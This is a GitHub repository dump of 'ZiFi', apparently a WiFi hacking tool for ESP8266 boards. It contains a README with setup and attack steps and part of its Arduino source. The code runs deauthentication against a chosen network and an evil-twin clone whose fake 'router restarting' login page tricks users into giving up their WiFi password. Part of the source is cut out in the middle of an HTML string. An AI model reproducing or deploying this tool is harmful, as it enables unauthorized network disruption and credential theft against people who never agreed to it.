├── Images
├── .gitkeep
├── ZiFi.png
└── ZiFi_yt.PNG
├── LICENSE
├── README.md
└── esp8266-deauth-eviltwin
├── esp8266-deauth-eviltwin.ino
└── essp_eviltwin.ino.nodemcu.bin
/Images/.gitkeep:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Images/ZiFi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sankethj/ZiFi/4e95406d53c45737af10fe22fe4fb864e2b84e6c/Images/ZiFi.png
--------------------------------------------------------------------------------
/Images/ZiFi_yt.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/sankethj/ZiFi/4e95406d53c45737af10fe22fe4fb864e2b84e6c/Images/ZiFi_yt.PNG
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2022 Z4N
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ZiFi
2 | Wifi hacking tool using ESP8266 ( Evil-Twin method )
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 | 
11 |
12 | ## FEATURES :
13 | * [+] Deauth
14 | * [+] Evil-Twin
15 | * [+] User Interface
16 |
17 | ## TESTED ON :
18 | * Nodemcu
19 | * Probably will work in all-other boards too...
20 |
21 | ## INSTALLATION :
22 | * Install [Arduino IDE](https://www.arduino.cc/en/software)
23 | * Add Esp8266 in Additional Board Manager `http://arduino.esp8266.com/stable/package_esp8266com_index.json`
24 | * Esp8266 board [NODEMCU](https://www.amazon.in/dp/B010O1G1ES/ref=cm_sw_r_apan_glt_i_MAFEQVVXSRR69JXNYFA3)
25 | * Install your board, choose correct Port.
26 | * Compile and Upload.
27 | * For detailed explanation check on [blogger](https://zansecurity.blogspot.com/2022/02/hacking-wifi-using-esp8266-deauth-and.html)
28 |
29 | ## CONCEPT :
30 | * Connect to the Access Point named `ZiFi` with password `Eviltwin` from your device.
31 | * Select the target you want (list of available APs refreshes every 15secs - page reload is required).
32 | * Select The Attack Mode. If you choose Deauth it will start deauthing the clients in that network.
33 | * Then Start Evil-twin attack, which will create the clone of the selected network.
34 | * The web interface will be unavailable during Evil-twin attack mode, You need to reconnect.
35 | * Reconnect after some time, it will display you the correct password in Result section.
36 | * For detailed explanation check on [blogger](https://zansecurity.blogspot.com/2022/02/hacking-wifi-using-esp8266-deauth-and.html)
37 |
38 |
39 | ## DEMONSTRATION VIDEO:
40 | [](https://youtu.be/pwSO3hhf1vA)
41 |
42 | ## CONTACT :
43 | [](https://t.me/Team_ETF)
44 | [](https://twitter.com/SankethZ4N)
45 |
46 |
47 | ## CREDITS :
48 | * [M1z23R](https://github.com/M1z23R) --> MODIFIED VERSION OF HIS SCRIPT
49 | * [Spacehuhn Technologies](https://github.com/SpacehuhnTech) --> TEMPLATE
50 | * [125K](https://github.com/125K) --> TEMPLATE
51 |
52 | ## WARNING :
53 | Use it only against your own networks and devices!
54 | Please check the legal regulations in your country before using it.
55 | We don't take any responsibility for what you do with this program.
56 |
57 | ## DONATIONS :
58 | - We don't ask much, if possible feed stray animals in your free time.
59 |
--------------------------------------------------------------------------------
/esp8266-deauth-eviltwin/esp8266-deauth-eviltwin.ino:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #define SUBTITLE "Validation Panel"
6 | #define TITLE "Sign in:"
7 | #define BODY "Due to internal problems router is being restarted. Enter password to re-connect to the network."
8 | #define POST_TITLE "Validating..."
9 | #define POST_BODY "Your account is being validated. Please, wait up to 1 minute for device connection.Thank you."
10 |
11 | typedef struct
12 | {
13 | String ssid;
14 | uint8_t ch;
15 | uint8_t bssid[6];
16 | } _Network;
17 |
18 |
19 | const byte DNS_PORT = 53;
20 | IPAddress apIP(192, 168, 1, 1);
21 | DNSServer dnsServer;
22 | ESP8266WebServer webServer(80);
23 |
24 | _Network _networks[16];
25 | _Network _selectedNetwork;
26 |
27 | void clearArray() {
28 | for (int i = 0; i < 16; i++) {
29 | _Network _network;
30 | _networks[i] = _network;
31 | }
32 |
33 | }
34 |
35 | String _correct = "";
36 | String _tryPassword = "";
37 |
38 |
39 | String header(String t) {
40 | String a = String(_selectedNetwork.ssid);
41 | String CSS = "article { background: #f2f2f2; padding: 1.3em; }"
42 | "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }"
43 | "div { padding: 0.5em; }"
44 | "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }"
45 | "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }"
46 | "label { color: #333; display: block; font-style: italic; font-weight: bold; }"
47 | "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }"
48 | "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } "
49 | "textarea { width: 100%; }";
50 | String h = ""
51 | ""+a+" :: "+t+""
52 | ""
53 | ""
54 | "
182 | INFO:
183 |
184 | - This tool will scan the network automatically for every 15 seconds. Or You can just refresh the page to scan again.
185 | - Please select only one target!
186 | - Next click on deauth attack, then after some time clients on that network will get starting disconnecting.
187 | - Now perform Evil-Twin attack, which will create the clone of the selected network.
188 | - The web interface will be unavailable during Evil-twin attack mode, You need to reconnect.
189 | - Reconnect after some time, it will display you the correct password in Result section.